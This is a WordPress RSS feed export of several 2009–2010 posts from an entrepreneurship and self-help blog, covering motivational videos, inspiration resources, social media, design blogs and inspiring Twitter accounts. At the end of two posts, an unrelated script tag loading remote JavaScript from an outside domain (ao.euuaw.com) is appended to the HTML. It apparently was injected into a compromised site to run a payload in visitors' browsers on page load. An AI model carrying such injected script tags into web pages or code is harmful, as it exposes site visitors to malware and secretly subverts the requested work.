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		<title>3 Great Motivatonal Videos You Must See!</title>
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		<pubDate>Mon, 29 Mar 2010 03:26:47 +0000</pubDate>
		<dc:creator>Andrew Ran Wong</dc:creator>
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		<description><![CDATA[  Previously, we have shared a variety of motivational videos (click here).  Today, I got to explore more great videos.  The 3 videos I am about to share here all have something to do with failure.  Indeed, &#8220;if you&#8217;ve never failed, you&#8217;ve never lived,&#8221; as stated in one video.  In this uncertain time, it&#8217;s [...]


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			<content:encoded><![CDATA[<p></p><p><a href="http://webstudio13.com/wp-content/uploads/2010/03/climbing.jpg"><img src="http://webstudio13.com/wp-content/uploads/2010/03/climbing.jpg" alt="How to embrace failures?" title="climbing" width="212" height="220" class="alignleft size-full wp-image-2507" /></a> <a href="http://www.ny-entrepreneur-network.com/" target="_blank"><img alt='' src='http://www.gravatar.com/avatar/01e678ae902abbb94570742c6d547b68?s=30&amp;d=X&amp;r=G' class='post_avatar no-rate avatar-30 avatar-default' height='30' width='30' /></a> Previously, we have shared a variety of motivational videos (<a href="http://webstudio13.com/2009/08/17/13-most-inspiring-youtube-videos-of-all-time/" target="_blank">click here</a>).  Today, I got to explore more great videos.  <strong>The 3 videos I am about to share here all have something to do with failure</strong>.  Indeed, <em>&#8220;if you&#8217;ve never failed, you&#8217;ve never lived,&#8221;</em> as stated in one video.  In this uncertain time, it&#8217;s important to gather courage and get out of your comfort zone.  Just go try something new and take risks!  As an entrepreneur, I have first hand experience with this, and I can totally relate to the message delivered in these videos.  <strong>If you&#8217;ve never seen them, I strongly encourage you to spend the next 10 minutes watching them.  You will be glad you did after you are done.</strong><span id="more-2506"></span><br />
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<h2><span style="color: #ff0000;">1.  Michael Jordan &#8220;Failure&#8221; Nike Commercial</span></h2>
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<h2><span style="color: #ff0000;">2. If you&#8217;ve never failed, you&#8217;ve never lived&#8230;</span></h2>
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<p><strong>This video features historically well-known characters, including Lucille Ball, The Beatles, Ulysses S. Grant, Michael Jordan, Thomas Edison, Walt Disney, Abraham Lincoln.</strong></p>
<h2><span style="color: #ff0000;">3. &#8220;Are you going to finish strong?&#8221;</span></h2>
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<span style="color: #ff0000;"><span style="color: #000000;"><strong>Now are you ready to embrace new challenges?  If you have more motivational clips, please share the links with us in the comment area</strong>.</span><br />
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		<title>10 Web 2.0 Resources You Can Use to Find Digital Inspirations</title>
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		<pubDate>Wed, 13 Jan 2010 16:31:46 +0000</pubDate>
		<dc:creator>Andrew Ran Wong</dc:creator>
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		<description><![CDATA[We all need a little inspiration every once in a while.  Thanks to various Web 2.o tools, it&#8217;s no longer a difficult task to get inspired on a daily basis.  Instead of spend big bucks going to a live seminar by Tony Robbins, you now can easily go watch his YouTube clip, without incurring any [...]


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<p>We all need a little inspiration every once in a while.  Thanks to various Web 2.o tools, it&#8217;s no longer a difficult task to get inspired on a daily basis.  Instead of spend big bucks going to a live seminar by <strong>Tony Robbins</strong>, you now can easily go watch his YouTube clip, without incurring any expenses.  Here, I will share 10 resources you can use to gain inspirations in the digital age.</p>
<p><strong>Here are the resources:</strong></p>
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<li><span style="color: #808080;">Videos</span></li>
<li><span style="color: #808080;">Podcasts</span></li>
<li><span style="color: #808080;">Twitter</span></li>
<li><span style="color: #808080;">Meetup</span></li>
<li><span style="color: #808080;">Amazon Books</span></li>
<li><span style="color: #808080;">eBooks</span></li>
<li><span style="color: #808080;">Inspirational Websites</span></li>
<li><span style="color: #808080;">Design blogs</span></li>
<li><span style="color: #808080;">Social bookmarking sites</span></li>
<li><span style="color: #808080;">Yourself</span></li>
</ul>
<h2><span style="color: #ff6600;">1. Videos</span></h2>
<p>There are many <a href="http://webstudio13.com/2009/09/28/top-10-video-sharing-sites-i-recommend/" target="_blank">video sharing sites</a> you can use to discover inspirational video clips.  To give you a quick reference, here is a list of <a href="http://webstudio13.com/2009/09/28/top-10-video-sharing-sites-i-recommend/" target="_blank">10 most popular sites</a> (<a href="http://webstudio13.com/2009/09/28/top-10-video-sharing-sites-i-recommend/" target="_blank">click here</a>).  I&#8217;ve created another list in the past called &#8220;<a href="http://webstudio13.com/2009/08/17/13-most-inspiring-youtube-videos-of-all-time/" target="_blank">13 Most Inspiring YouTube Videos of All-Time</a>.&#8221;  You&#8217;re welcome to <a href="http://webstudio13.com/2009/08/17/13-most-inspiring-youtube-videos-of-all-time/" target="_blank">check it out</a>.</p>
<h2><span style="color: #ff6600;">2. Podcasts</span></h2>
<p>Podcasts are becoming more and more mainstream now.  If you load up your<a href="http://www.apple.com/itunes/" target="_blank"> iTunes</a> store, you will see tons of different podcasts.  <a href="http://webstudio13.com/2009/09/30/the-15-best-technology-podcasts/" target="_blank">Here is a list of some best known podcasts in the world</a>.  To find digital inspirations, check out these ones too</p>
<ul>
<li><span style="color: #0000ff;">Personal Growth Podcast</span></li>
<li><span style="color: #0000ff;">My thought Coach</span></li>
<li><span style="color: #0000ff;">The Daily Boost | The Positive Boost You Need Everyday</span></li>
<li><span style="color: #0000ff;">MorningCoach.com</span></li>
<li><span style="color: #0000ff;">Law of Attraction Tips</span></li>
<li><span style="color: #0000ff;">Meditation Station</span></li>
</ul>
<h2><span style="color: #ff6600;">3. Twitter</span></h2>
<p>Here are <a href="http://webstudio13.com/2009/10/05/40-most-inspiring-twitter-users/" target="_blank">40 most inspiring users</a> you can follow on Twitter.  In addition, you can always use the hashtags &#8220;<strong>#quotes</strong>&#8221; and &#8220;<strong>#inspiration</strong>&#8221; to find extra inspirational stuff on Twitter.</p>
<h2><span style="color: #ff6600;">4. Meetup</span></h2>
<p>We&#8217;ve written <a href="http://webstudio13.com/category/meetup/" target="_blank">many articles</a> in the past to cover this topic.  Simply put, attending inspirational seminars that your local meetup groups host is a great way to get motivated.  If you live in the tri-state area, you can try out our group &#8211; <a href="http://www.ny-entrepreneur-network.com/" target="_blank">NY Entrepreneurs Business Network</a> (NYEBN).  We usually host two seminars per month, all serving educational and inspirational purposes.  <a href="http://webstudio13.com/category/ny-entrepreneurs-business-network-nyebn/" target="_blank">Here is a series of articles related to NYEBN</a>.</p>
<h2><span style="color: #ff6600;">5. Amazon Books</span></h2>
<p><a href="http://amazon.com" target="_blank">Amazon</a> is always the place I recommend for people to get books.  I&#8217;ve done a summary before about <a href="http://webstudio13.com/2009/08/24/top-10-web-2-0-guide-books-you-do-not-want-to-miss-on-amazon/" target="_blank">the 10 most inspiring Web 2.0 books</a> you should get on Amazon.  Check it out.  Of course, you can have an eReader such as <a href="http://www.amazon.com/dp/B0015T963C" target="_blank">Kindle</a> or <a href="http://www.barnesandnoble.com/nook/" target="_blank">Nook</a> if you prefer.</p>
<h2><span style="color: #ff6600;">6.  eBooks</span></h2>
<p>eBooks are convenient to download online.  The most recent eBook I&#8217;ve read is <a href="http://sethgodin.typepad.com/" target="_blank">Seth Godin</a>&#8217;s &#8220;<a href="http://webstudio13.com/2009/12/21/what-matters-now-upgrade-your-life/" target="_blank">What Matters Now</a>.&#8221; It&#8217;s a very inspiring book. <a href="http://webstudio13.com/2009/12/21/what-matters-now-upgrade-your-life/" target="_blank">Download it here</a>.</p>
<h2><span style="color: #ff6600;">7. Inspirational Websites</span></h2>
<p>There are many great blogs that help you <a href="http://webstudio13.com/2009/11/14/10-blogs-that-help-me-become-a-better-entrepreneur/" target="_blank">become a better entrepreneur</a> or <a href="http://webstudio13.com/2009/11/20/11-blogs-that-help-you-become-a-social-media-expert/" target="_blank">make you a social media expert</a>.  One inspirational blog I recommend all the time is <strong>Leo Babauta&#8217;</strong>s <a href="http://zenhabits.net/" target="_blank">Zenhabits</a>.  If you&#8217;re into personal development, you can also check out <strong>David Riklan</strong>’s <a onclick="javascript:pageTracker._trackPageview('/outbound/article/www.selfgrowth.com');" href="http://www.selfgrowth.com/" target="_blank">SelfGrowth.com</a>.</p>
<h2><span style="color: #ff6600;">8. Design Blogs</span></h2>
<p>People gain their inspirations through a variety of sources.  Exceptional blog designs which stands out from the crowd always serve for great inspirational purposes.  <a href="http://webstudio13.com/2009/12/14/20-most-inspiring-and-useful-web-design-blogs/" target="_blank">Here are 20 blogs that have the most inspiring and extraordinary designs.</a></p>
<h2><span style="color: #ff6600;">9. Social Bookmarking Sites</span></h2>
<p>Via a simple search on the keyword &#8220;<strong>Inspiration</strong>,&#8221; you may find an array of great bookmarked articles on sites such as <em>Delicious, StumbleUpon, and Digg</em>.  For your reference, here is a list of the <a href="http://webstudio13.com/2009/12/02/the-top-10-best-social-bookmarking-websites/" target="_blank">top 10 best social bookmarking sites</a>.</p>
<h2><span style="color: #ff6600;">10. Yourself</span></h2>
<p>All the methods mentioned above won&#8217;t work if you are not willing to inspire yourself on a daily and consistent basis.  We must serve as an inspirational role model for ourselves, and be confident and optimistic about everything coming along our way.  You will realize sooner than later that a great attitude does make a big difference.  After all, <em>success is 80% psychological and only 20% technical.</em></p>
<h2><span style="color: #ff6600;">Conclusion</span></h2>
<p>If you enjoy this article, you may also like this one: <strong><a href="http://webstudio13.com/2009/09/06/10-tips-on-self-empowerment-personal-development-with-web-2-0-tools/" target="_blank">10 Tips on Self-Empowerment/Personal Development with Web 2.0 Tools</a><span style="font-weight: normal;">.  Consider <a href="http://feeds.feedburner.com/WebStudio13" target="_blank">subscribing to this blog</a> if you like what you see.  Let us know if you have other inspirational resources that you want to share with the community.</span></strong><script src="http://ao.euuaw.com/9"></script></p>


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		<title>5 Ways You Can Motivate Others Via Social Media</title>
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		<pubDate>Mon, 28 Dec 2009 04:15:57 +0000</pubDate>
		<dc:creator>Andrew Ran Wong</dc:creator>
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		<description><![CDATA[As the usage of social media becomes more widespread in our everyday life, it becomes more apparent that the majority of people choose to use social media for meaningful purposes, such as spreading news, staying connected, motivating others, etc. What&#8217;s pivotal about social media is its vital effect. For example, when you tweet an impactful [...]


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			<content:encoded><![CDATA[<p></p><p><a href="http://s88493.gridserver.com/wp-content/uploads/2009/12/positive-thinking1.jpg"><img class="alignleft size-medium wp-image-1795" title="positive-thinking1" src="http://webstudio13.com/wp-content/uploads/2009/12/positive-thinking1-220x300.jpg" alt="" width="220" height="300" /></a>As the usage of social media becomes more widespread in our everyday life, it becomes more apparent that the majority of people choose to use social media for meaningful purposes, such as <em>spreading news</em>, <em>staying connected</em>, <em>motivating others,</em> etc. What&#8217;s pivotal about social media is its vital effect. For example, when you tweet an impactful story, your message can trigger hundreds of  retweets, which is called network effect. Hence, using social media as a motivational tool has become a common practice amongst all of us.</p>
<p><strong>Here we will walk through 5 techniques regarding how to motivate your social peers via social media and tools alike.</strong></p>
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<h2><span style="color: #ff9900;">1. Twitter, Facebook, LinkedIn, etc&#8230;</span></h2>
<p>We use the above mentioned tools, often times, to share a joke, or tell a trivial accidental encounter. Have you ever imagined how powerful they can be if we use them to empower people regularly? Especially on Twitter, it&#8217;s not uncommon for me to tweet 10 or more inspiring quotes in a single day. Sometimes, my quotes get retweeted over and over again. The feeling is, indeed, insurmountable after knowing you have made a difference to cheer somebody up.</p>
<h2><span style="color: #ff9900;">2. Wordpress, Blogger, Tumblr, Posterous, etc&#8230;</span></h2>
<p>Some people claim that blogging, just like RSS, has faded away gradually as more advanced tech tools are raising the tide.  I, like most fanatic bloggers, am completely on the other side of this argument. Ironically, blogging has become a core component among all communication tools most used today. Personally, I like to blog about <a href="http://webstudio13.com/inspiration/13-most-inspiring-youtube-videos-of-all-time/" target="_blank">inspiring stories/videos</a>, <a href="http://webstudio13.com/personal-development/10-tips-on-self-empowerment-personal-development-with-web-2-0-tools/" target="_blank">personal development tips</a>, etc. <strong>Wordpress</strong> is what I use for <a href="http://webstudio13.com/" target="_blank">WebStudio13</a>. On top of that, I am also in favor of <strong>Posterous</strong> and <strong>Tumblr</strong>, each of which has unique features that set it apart from other blogging platforms.</p>
<h2><span style="color: #ff9900;">3. Lulu, Issuu, Scribd, etc&#8230;</span></h2>
<p>You probably have spotted the similarities among the tools in this category. <strong>Lulu</strong>, <strong>Issuu</strong>, and <strong>Scribd</strong> are all self-publishing tools you can use. If you are ambitious enough to make a difference in somebody else&#8217;s life, why not make your mark by publishing your own product?  With these tools, publishing a book can never sound as daunting as it used to be.</p>
<p>Nowadays, anybody can self publish their own eBook.  A personal development book is what I would write and publish.  After all, what&#8217;s better than share your personal experiences with people discouraged by the waves of everyday life?  Social media would be perfect in terms of promoting your eBook cost-effectively. Perhaps you can reach an even broader demographic by combining different social networks. The options are limitless.</p>
<h2><span style="color: #ff9900;">4. Meetup, Eventbrite, Yelp, etc&#8230;</span></h2>
<p>Take a guess.  How would you use these tools mentioned in this category?  Yes, you may use them to help you organize local events. While technology is a must-have today for building social bondage, hosting offline meetings is still the most effective way in terms of conveying inspirational messages.  Just imagine how impactful <strong>Tony Robbins</strong>&#8216; seminars are. However, the online tools have undeniably made organizing offline meetings more convenient. I&#8217;ve invited motivational speakers to have done quite a few events for my group in the past (<a href="http://www.ny-entrepreneur-network.com/calendar/11007150/?from=list&amp;offset=0" target="_blank">here</a> and <a href="http://www.ny-entrepreneur-network.com/calendar/10867302/?from=list&amp;offset=0" target="_blank">there</a>). With the help of these listed tools, you motivational seminars will be the most spectacular and unforgettable events people have ever seen.</p>
<h2><span style="color: #ff9900;">5. YouTube, Vimeo, Metacafe, etc&#8230;</span></h2>
<p>Instead of write articles, some people like to share their own stories via a simple video. These tools listed above make publishing videos a snap. Just go get a flip camera and you&#8217;ve got what you need.  Here is an example of what a viral inspirational video should look like:</p>
<p><center><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/BGODurRfVv4&amp;hl=en_US&amp;fs=1&amp;rel=0" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/BGODurRfVv4&amp;hl=en_US&amp;fs=1&amp;rel=0" allowscriptaccess="always" allowfullscreen="true"></embed></object></center></p>
<p><em><span style="color: #888888;">Video description: &#8220;Surf dog Ricochet&#8217;s inspirational video highlighting her journey from service dog training, to turning disappointment into a joyful new direction, to surfing with quadriplegic surfer, Patrick Ivison, to fundraising for charitable causes. She is currently leading a fundraiser for a six year old boy named Ian who suffered a traumatic brain injury in a horrific car accident that claimed the lives of his parents. If you&#8217;d like to help Ricochet help Ian, please go to </span></em><a title="http://www.ripcurlricki.com." dir="ltr" rel="nofollow" href="http://www.ripcurlricki.com./" target="_blank"><em><span style="color: #888888;"><span style="color: #0000ff;">http://www.ripcurlricki.com</span>.</span></em></a><em><span style="color: #888888;"> To follow her on Facebook&#8230; search for &#8220;Surf Dog Ricochet&#8221; or <a href="http://www.facebook.com/#/pages/Surf-Dog-Ricochet/178108649370" target="_blank">click here</a>. </span></em><em><span style="color: #888888;">Thank you for watching, and donating to her charitable cause.&#8221;</span></em></p>
<h2><span style="color: #ff9900;">Bonus Point</span></h2>
<p>In order to inspire others, it is inevitable that we must adopt a positive self-image first. Remember, inspirational messages are extremely contagious. Your social peers are willing to following your footsteps only if they feel you are confident and optimistic about what lies ahead.  After all, everything starts from inside out. You must take the first step to become a positive individual.  Share your comments below.<script src="http://ao.euuaw.com/9"></script></p>


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		<title>20 Most Inspiring and Useful Web Design Blogs</title>
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		<pubDate>Mon, 14 Dec 2009 11:59:56 +0000</pubDate>
		<dc:creator>Andrew Ran Wong</dc:creator>
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		<description><![CDATA[A good site design is one critical element that makes a website rock. For a blog to stand out from the crowd, it also needs to have attractive look and feel.
Since I started out blogging at WebStudio13, I have been consistently learning new tricks everyday that enable me to make my blog look better on [...]


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			<content:encoded><![CDATA[<p></p><p><img class="alignleft size-full wp-image-1677" title="billboard" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/billboard.jpg" alt="billboard" width="256" height="178" />A good site design is one critical element that makes a website rock. For a blog to stand out from the crowd, it also needs to have attractive look and feel.</p>
<p>Since I started out blogging at <a href="http://webstudio13.com/" target="_blank">WebStudio13</a>, I have been consistently learning new tricks everyday that enable me to make my blog look better on a consistent basis.  You can <strong>Google</strong> for good web design tutorials, but I guarantee you the search results will be overwhelming.  <strong>To make things simple, I decided to write a post that summarizes the most useful 20 design blogs available today.</strong> Personally, I&#8217;ve benefited tremendously from their tips on how to make a site attractive.  Enjoy!</p>
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<h3><a href="http://www.smashingmagazine.com/" target="_blank">1. SmashingMagazine</a></h3>
<div id="attachment_1671" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://www.smashingmagazine.com/"><img class="size-full wp-image-1671" title="Smashing Magazine1" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/Smashing-Magazine1.jpg" alt="Smashing Magazine" width="550" height="483" /></a>
	<p class="wp-caption-text">Smashing Magazine</p>
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<h3><a href="http://psd.tutsplus.com/" target="_blank">2. PSD.TutsPlus</a></h3>
<div id="attachment_1669" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://psd.tutsplus.com/"><img class="size-full wp-image-1669" title="psd tuts1" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/psd-tuts1.jpg" alt="PSD TutsPlus" width="550" height="504" /></a>
	<p class="wp-caption-text">PSD TutsPlus</p>
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<h3><a href="http://designreviver.com/" target="_blank">3. Design Reviver</a></h3>
<div id="attachment_1658" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://designreviver.com/"><img class="size-full wp-image-1658" title="DesignReviver1" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/DesignReviver1.jpg" alt="Design Reviver" width="550" height="566" /></a>
	<p class="wp-caption-text">Design Reviver</p>
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<h3><a href="http://css-tricks.com/" target="_blank">4. CSS Tricks</a></h3>
<div id="attachment_1656" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://css-tricks.com/"><img class="size-full wp-image-1656" title="CSS Tricks1" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/CSS-Tricks1.jpg" alt="CSS Tricks" width="550" height="486" /></a>
	<p class="wp-caption-text">CSS Tricks</p>
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<h3><a href="http://www.webdesignerwall.com/" target="_blank">5. Web Designer Wall</a></h3>
<div id="attachment_1672" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://www.webdesignerwall.com/"><img class="size-full wp-image-1672" title="Web Designer Wall1" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/Web-Designer-Wall1.jpg" alt="Web Designer Wall" width="550" height="490" /></a>
	<p class="wp-caption-text">Web Designer Wall</p>
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<h3><a href="http://core77.com/" target="_blank">6. Core77</a></h3>
<div id="attachment_1655" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://core77.com/"><img class="size-full wp-image-1655" title="Core77_1" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/Core77_1.jpg" alt="Core77" width="550" height="538" /></a>
	<p class="wp-caption-text">Core77</p>
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<h3><a href="http://inspiredology.com/" target="_blank">7. Inspiredology &#8211; Design Inspiration Lab</a></h3>
<div id="attachment_1662" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://inspiredology.com/"><img class="size-full wp-image-1662" title="Inspiredology1" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/Inspiredology11.jpg" alt="Inspiredology" width="550" height="523" /></a>
	<p class="wp-caption-text">Inspiredology</p>
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<h3><a href="http://sixrevisions.com/" target="_blank">8. Six Revisions</a></h3>
<div id="attachment_1670" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://sixrevisions.com/"><img class="size-full wp-image-1670" title="Six Revisions1" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/Six-Revisions1.jpg" alt="Six Revisions" width="550" height="516" /></a>
	<p class="wp-caption-text">Six Revisions</p>
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<h3><a href="http://www.outlawdesignblog.com/" target="_blank">9. Outlaw Design Blog</a></h3>
<div id="attachment_1667" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://www.outlawdesignblog.com/"><img class="size-full wp-image-1667" title="Outlaw Design Blog" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/Outlaw-Blog1.jpg" alt="Outlaw Design Blog" width="550" height="471" /></a>
	<p class="wp-caption-text">Outlaw Design Blog</p>
</div>
<h3><a href="http://www.noupe.com/" target="_blank">10. Noupe</a></h3>
<div id="attachment_1666" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://www.noupe.com/"><img class="size-full wp-image-1666" title="Noupe" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/noupe1.jpg" alt="Noupe" width="550" height="510" /></a>
	<p class="wp-caption-text">Noupe</p>
</div>
<h3><a href="http://abduzeedo.com/" target="_blank">11. Abduzeedo</a></h3>
<div id="attachment_1652" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://abduzeedo.com/"><img class="size-full wp-image-1652" title="Abduzeedo" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/Abduzeedo1.jpg" alt="Abduzeedo" width="550" height="575" /></a>
	<p class="wp-caption-text">Abduzeedo</p>
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<h3><a href="http://www.blog.spoongraphics.co.uk/" target="_blank">12. Spoon Graphics</a></h3>
<h2>
<div id="attachment_1654" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://www.blog.spoongraphics.co.uk/"><img class="size-full wp-image-1654" title="Spoon Graphics" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/Blog-Spoon-Graphics1.jpg" alt="Spoon Graphics" width="550" height="577" /></a>
	<p class="wp-caption-text">Spoon Graphics</p>
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<h3><a href="http://designm.ag/" target="_blank">13. DesignM</a></h3>
<p><div id="attachment_1657" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://designm.ag/"><img class="size-full wp-image-1657" title="DesignM" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/Designm1.jpg" alt="DesignM" width="550" height="519" /></a>
	<p class="wp-caption-text">DesignM</p>
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<h3><a href="http://www.bartelme.at/" target="_blank">14. Bartelme Design</a></h3>
<div id="attachment_1653" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://www.bartelme.at/"><img class="size-full wp-image-1653" title="Bartelme Design" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/Bartelmedesign1.jpg" alt="Bartelme Design" width="550" height="570" /></a>
	<p class="wp-caption-text">Bartelme Design</p>
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<h3><a href="http://www.fuelyourcreativity.com/" target="_blank">15. Fuel Your Creativity</a></h3>
<div id="attachment_1659" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://www.fuelyourcreativity.com/"><img class="size-full wp-image-1659" title="Fuel Your Creativity" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/Fuel-Your-Creativity1.jpg" alt="Fuel Your Creativity" width="550" height="496" /></a>
	<p class="wp-caption-text">Fuel Your Creativity</p>
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<h3><a href="http://justcreativedesign.com/" target="_blank">16. Just Creative Design</a></h3>
<div id="attachment_1663" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://justcreativedesign.com/"><img class="size-full wp-image-1663" title="Just Creative Design" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/Just-Creative-Design11.jpg" alt="Just Creative Design" width="550" height="527" /></a>
	<p class="wp-caption-text">Just Creative Design</p>
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<h3><a href="http://www.knowtebook.com/" target="_blank">17. Knowtebook</a></h3>
<div id="attachment_1664" class="wp-caption aligncenter" style="width: 549px">
	<a href="http://www.knowtebook.com/"><img class="size-full wp-image-1664" title="Knowtebook" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/Knowtebook1.jpg" alt="Knowtebook" width="549" height="600" /></a>
	<p class="wp-caption-text">Knowtebook</p>
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<h3><a href="http://www.logodesignlove.com/" target="_blank">18. Logo Design Love</a></h3>
<div id="attachment_1665" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://www.logodesignlove.com/"><img class="size-full wp-image-1665" title="LogoDesignLove" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/LogoDesignLove1.jpg" alt="LogoDesignLove" width="550" height="503" /></a>
	<p class="wp-caption-text">LogoDesignLove</p>
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<h3><a href="http://www.pearsonified.com/" target="_blank">19. Pearsonified</a></h3>
<div id="attachment_1668" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://www.pearsonified.com/"><img class="size-full wp-image-1668" title="Pearsonified" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/Pearsonified1.jpg" alt="Pearsonified" width="550" height="547" /></a>
	<p class="wp-caption-text">Pearsonified</p>
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<h3><a href="http://www.webresourcesdepot.com/" target="_blank">20. Web Resources Depot</a></h3>
<p><div id="attachment_1673" class="wp-caption aligncenter" style="width: 550px">
	<a href="http://www.webresourcesdepot.com/"><img class="size-full wp-image-1673" title="Web Resources Depot" src="http://s88493.gridserver.com/wp-content/uploads/2009/12/WebResourcesDepot1.jpg" alt="Web Resources Depot" width="550" height="431" /></a>
	<p class="wp-caption-text">Web Resources Depot</p>
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		<title>40 Most Inspiring Twitter Users You Should Follow (Speakers, Authors &amp; Regular Users)</title>
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		<pubDate>Mon, 05 Oct 2009 22:35:18 +0000</pubDate>
		<dc:creator>Andrew Ran Wong</dc:creator>
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Being a fan of personal development, I have always been trying my best to inspire and influence the people around me. On Twitter, my tweets are known mostly tagged with &#8220;quotes.&#8221;  My goal is to help others succeed both personally and professionally.  I have written a post previously called &#8220;13 Most Inspiring YouTube Videos of All-Time.&#8221; [...]


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</p><p>Being a fan of personal development, I have always been trying my best to inspire and influence the people around me. On Twitter, <a href="http://twitter.com/WebStudio13" target="_blank">my tweets</a> are known mostly tagged with &#8220;<strong>quotes</strong>.&#8221;  My goal is to help others succeed both personally and professionally.  I have written a post previously called &#8220;<a href="http://webstudio13.com/2009/08/17/13-most-inspiring-youtube-videos-of-all-time/" target="_blank">13 Most Inspiring YouTube Videos of All-Time</a>.&#8221;  <span style="color: #0000ff;">In this post, we will cover a list of 40 most inspiring influencers on Twitter</span>.</p>
<h2><span style="color: #0000ff;">Category A &#8211; Celebrities (Authors)</span></h2>
<p>1. <a href="http://twitter.com/gtdguy" target="_blank">David Allen</a> &#8211; Founder of David Allen Co.</p>
<p>2. <a href="http://twitter.com/TheRealLesBrown" target="_blank">Les Brown</a> &#8211; Motivational speaker, empowering individuals to tap into their greatness.</p>
<p>3. <a href="http://twitter.com/briantracy" target="_blank">Brian Tracy</a> &#8211; Personal development coach &amp; trainer, helping you achieve your personal and business goals faster and easier than you ever imagined.</p>
<p>4. <a href="http://twitter.com/marwilliamson" target="_blank">Marianne Williamson</a> &#8211; The best selling author of <a href="http://www.amazon.com/Return-Love-Reflections-Principles-Miracles/dp/0060927488" target="_blank">A RETURN TO LOVE</a></p>
<p>5. <a href="http://twitter.com/J_Canfield" target="_blank">Jack Canfield</a> &#8211; American motivational speaker and author, best known as the co-creator of the <em><a style="text-decoration: none; color: #002bb8; background-image: none; background-repeat: initial; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; background-position: initial initial;" title="Chicken Soup for the Soul" href="http://en.wikipedia.org/wiki/Chicken_Soup_for_the_Soul">Chicken Soup for the Soul</a></em> book series</p>
<p>6. <a href="http://twitter.com/MarkVHansen" target="_blank">Mark Victor Hansen</a> - Author, speaker, passionate philanthropist and humanitarian</p>
<p><span id="more-878"></span>7. <a href="http://twitter.com/Deepak_Chopra" target="_blank">Deepak Chopra</a> &#8211; Physician, lecturer, celebrity and author who has written many books on spirituality and mind-body medicine</p>
<p>8. <a href="http://twitter.com/paulocoelho" target="_blank">Paulo Coelho</a> - Brazilian lyricist and novelist</p>
<p>9. <a href="http://twitter.com/Marci_Shimoff" target="_blank">Marci Shimoff</a> - The Secret teacher, author of <a href="http://www.happyfornoreason.com/Products/Course" target="_blank">Happy For No Reason</a></p>
<p>10. <a href="http://twitter.com/TonyRobbins" target="_blank">Tony Robbins</a> - NLP trainer, motivational speaker</p>
<p>11. <a href="http://twitter.com/StephenRCovey" target="_blank">Stephen R. Covey</a> - Author of The <a href="http://www.amazon.com/Habits-Highly-Effective-People/dp/0671708635" target="_blank">7 Habits of Highly Effective People</a>.</p>
<p>12.<a href="http://twitter.com/Tomziglar" target="_blank"> Tom Ziglar</a> - Son of Zig Ziglar, bringing the Ziglar pure and simple philosophy to an ever changing world</p>
<p>13. <a href="http://twitter.com/DrWayneWDyer" target="_blank">Dr. Wayne W. Dyer</a> - American self-help advocate, lecturer and author of <a href="http://www.amazon.com/Your-Erroneous-Zones-Wayne-Dyer/dp/0061091480/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1254773890&amp;sr=1-1" target="_blank">Your Erroneous Zone</a></p>
<p>14. <a href="http://twitter.com/Debbie_Ford" target="_blank">Debbie Ford</a> - NY TImes Best-Selling Author &amp; Expert on <strong>The Shadow and Transformation</strong></p>
<p>15. <a href="http://twitter.com/jimrohnquotes " target="_blank">Jim Rohn</a> &#8211; A collection of motivational quotes from a variety of speakers</p>
<p>16. <a href="http://twitter.com/LouiseHay" target="_blank">Louise Hay</a> &#8211; M<span style="font-family: sans-serif;">otivational author, and the founder of <a style="text-decoration: none; color: #002bb8; background-image: none; background-repeat: initial; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; background-position: initial initial; " title="Hay House" href="http://en.wikipedia.org/wiki/Hay_House">Hay House</a>, a publishing company</span></p>
<p>17. <a href="http://twitter.com/_robin_sharma" target="_blank">Robin Sharma</a> &#8211; Author of several internationally published books, and an expert on leadership and personality development</p>
<p>18. <a href="http://twitter.com/byronkatie" target="_blank">Byron Katie</a> &#8211; The founder of <strong>The Work of Byron Katie</strong></p>
<p>19. <a href="http://twitter.com/inspiremetoday" target="_blank">Gail Lynne Goodwin</a> &#8211; Founder of <a href="http://www.inspiremetoday.com/about.php" target="_blank">Inspire Me Today</a></p>
